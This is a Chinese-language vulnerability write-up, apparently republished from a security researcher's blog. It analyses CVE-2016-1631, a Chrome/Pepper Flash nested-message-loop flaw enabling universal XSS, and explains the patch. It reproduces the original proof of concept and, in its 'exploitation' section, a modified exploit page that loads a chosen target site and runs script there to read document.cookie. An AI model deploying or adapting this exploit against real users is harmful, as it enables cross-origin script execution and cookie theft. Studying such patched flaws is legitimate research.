Author: Avfisher@網絡尖刀

0x00 前言

本文的寫作來源于前幾天一個小伙伴發過來一個漏洞鏈接讓筆者幫忙解釋一下漏洞原理,為了便于小伙伴的理解且留作筆記供日后查閱遂寫此文。

本文討論的漏洞已早已修復,但作為漏洞研究還是很有價值的。此漏洞由研究人員Marius Mlynski發現并于2015年12月14日報告的一個Chrome不當地使用Flash消息循環而產生的UXSS漏洞(CVE-2016-1631)。

0x01 分析

漏洞影響:

Chrome 47.0.2526.80 (Stable)
Chrome 48.0.2564.41 (Beta)
Chrome 49.0.2587.3 (Dev)
Chromium 49.0.2591.0 + Pepper Flash

原漏洞報告如下:

From /content/renderer/pepper/ppb_flash_message_loop_impl.cc:
----------------
int32_t PPB_Flash_MessageLoop_Impl::InternalRun(
    const RunFromHostProxyCallback& callback) {
(...)
  // It is possible that the PPB_Flash_MessageLoop_Impl object has been
  // destroyed when the nested message loop exits.
  scoped_refptr<State> state_protector(state_);
  {
    base::MessageLoop::ScopedNestableTaskAllower allow(
        base::MessageLoop::current());
    base::MessageLoop::current()->Run();
  }
(...)
}
----------------

報告者解釋說:PPB_Flash_MessageLoop_Impl::InternalRun在運行一個嵌套消息循環之前沒有初始化ScopedPageLoadDeferrer,從而導致能夠在任意Javascrpit的執行點加載一個跨域文檔造成了XSS。

接下來,我們來看看報告者提供的POC,主要有三個文件:

  • p.as: 一個ActionScript腳本文件
  • p.swf: 一個swf格式的Flash文件
  • poc.html: 具體的poc代碼
p.as:

package {
  import flash.display.*;
  import flash.external.*;
  import flash.printing.*;
  public class p extends Sprite {
    public function f():void {
      new PrintJob().start();
    }
    public function p():void {
      ExternalInterface.addCallback('f', f);
      ExternalInterface.call('top.cp');
    }
  }
}
poc.html:

<script>
if (location.href.startsWith('file')) {
  throw alert('This does not work from file:, please put it on an HTTP server.')
}

var c0 = 0;
function cp() {
  ++c0;
}

var fs = [];
for (var a = 0; a < 10; a++) {
  var i = document.documentElement.appendChild(document.createElement('iframe'));
  i.src = 'p.swf';
  fs.push(i);
}

// This function will call into Flash, which will start a PrintJob,
// which will send a PPB_Flash_MessageLoop message to the renderer,
// which will spin a nested event loop on the main thread through
// PPB_Flash_MessageLoop_Impl::InternalRun, which doesn't set up a
// ScopedPageLoadDeferrer.
function message_loop() {
  var pw = fs.pop().contentWindow;
  pw.name = 'p' + fs.length;
  // The magic happens here:
  pw.document.querySelector('embed').f();
  // Clean-up phase -- now that the print operation has served its
  // purpose of spinning a nested event loop, kill the print dialog
  // in case it's necessary to spin the loop again.
  var a = document.createElement('a');
  a.href = 'about:blank';
  a.target = 'p' + fs.length;
  a.click();
  if (fs.length < 6) {
    var then = Date.now();
    while (Date.now() - then < 1000) {}
  }
}

function f() {
  if (c0 == 10) {
    clearInterval(t);
    // The initial location of this iframe is about:blank.
    // It shouldn't change before the end of this function
    // unless a nested event loop is spun without a
    // ScopedPageLoadDeferrer on the stack.
    // |alert|, |print|, etc. won't work, as they use a
    // ScopedPageLoadDeferrer to defer loads during the loop.
    var i = document.documentElement.appendChild(document.createElement('iframe'));
    // Let's schedule an asynchronous load of a cross-origin document.
    i.contentWindow.location.href = 'data:text/html,';
    // Now let's try spinning the Flash message loop.
    // If the load succeeds, |i.contentDocument| will throw.
    try {
      while (i.contentDocument) { message_loop(); }
    } catch(e) {}

    // Check the final outcome of the shenanigans.
    try {
      if (i.contentWindow.location.href === 'about:blank') {
        alert('Nothing unexpected happened, good.');
      }
    } catch(e) {
      alert('The frame is cross-origin already, this is bad.');
    }
  }
}

var t = setInterval(f, 100);
</script>

POC的原理就是在頁面中創建多個源為Flash文件的iframe,然后調用as腳本開啟打印工作任務,此時Chrome將通過PPB_Flash_MessageLoop_Impl::InternalRun方法在主線程中運行一個嵌套的MessageLoop消息循環來發送PPB_Flash_MessageLoop消息給渲染器,由于PPB_Flash_MessageLoop_Impl::InternalRun方法沒有在棧上設置ScopedPageLoadDeferrer來推遲加載從而導致嵌套的MessageLoop在循環時能夠回調腳本并加載任意資源造成了UXSS漏洞。

那么,如何來理解這個漏洞呢?

在Chrome中,我們知道,每個線程都有一個MessageLoop(消息循環)實例。報告中的PPB_Flash_MessageLoop_Impl實際上就是Chrome處理Flash事件的消息循環的實現。當瀏覽器接收到要打印Flash文件的消息時,會開啟一個MessageLoop來處理打印事件,而此時如果在運行的嵌套的消息循環里沒有終止腳本的回調以及資源加載的方法的話,就可以通過腳本回調代碼繞過SOP加載任意資源,也就造成了XSS漏洞。

從下面是源代碼作者做的修復可以更好的了解漏洞的產生原因。

不難發現,源碼作者實際上僅做了以下更改:

  1. 添加了#include “third_party/WebKit/public/web/WebView.h”;

  2. 在執行base::MessageLoop::current()->Run();之前添加了blink::WebView::willEnterModalLoop();

  3. 在執行base::MessageLoop::current()->Run();之后添加了blink::WebView::didExitModalLoop();

找到third_party/WebKit/public/web/WebView.h文件,我們在當中找到了步驟2和3的方法如下:

third_party/WebKit/public/web/WebView.h:
-----------------------
    // Modal dialog support ------------------------------------------------
    // Call these methods before and after running a nested, modal event loop
    // to suspend script callbacks and resource loads.
    BLINK_EXPORT static void willEnterModalLoop();
    BLINK_EXPORT static void didExitModalLoop();
(...)
-----------------------

顯然, 修復漏洞的方法就是在執行一個嵌套的模態事件循壞前后調用這2個方法來防止腳本的回調以及資源的加載,從而阻止了因為腳本回調而繞過SOP的XSS漏洞的產生。

0x02 利用

首先,下載exploit并部署到你的web服務器上。

解壓后,文檔目錄如下:

├── exploit
│?? ├── exploit.html
│?? ├── f.html
│?? ├── p.as
│?? └── p.swf

打開exploit.html修改如下:

<script>
var c0 = 0;
var c1 = 0;
var fs = [];

function cp() {
  ++c0;
}

for (var a = 0; a < 10; a++) {
  var i = document.documentElement.appendChild(document.createElement('iframe'));
  i.src = 'p.swf';
  fs.push(i);
}

function ml() {
  var pw = fs.pop().contentWindow;
  pw.name = 'p' + fs.length;
  pw.document.querySelector('embed').f();
  var a = document.createElement('a');
  a.href = 'about:blank';
  a.target = 'p' + fs.length;
  a.click();
  if (fs.length < 6) {
    var then = Date.now();
    while (Date.now() - then < 1000) {}
  }
}

function f() {
  if (++c1 == 2) {
    var x1 = x.contentWindow[0].frameElement.nextSibling;
    x1.src = 'http://avfisher.win/'; //此處可修改成目標瀏覽器上打開的任意的站點
    try {
      while (x1.contentDocument) { ml(); }
    } catch(e) {
      x1.src = 'javascript:if(location!="about:blank")alert(document.cookie)'; //此處為在目標站點上想要執行的js代碼
    }
  }
}

function c() {
  if (c0 == 10) {
    clearInterval(t);
    x = document.documentElement.appendChild(document.createElement('iframe'));
    x.src = 'f.html';
  }
}

var t = setInterval(c, 100);
</script>

利用效果如下:

0x03 參考

原文鏈接:http://avfisher.win/archives/619


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/118/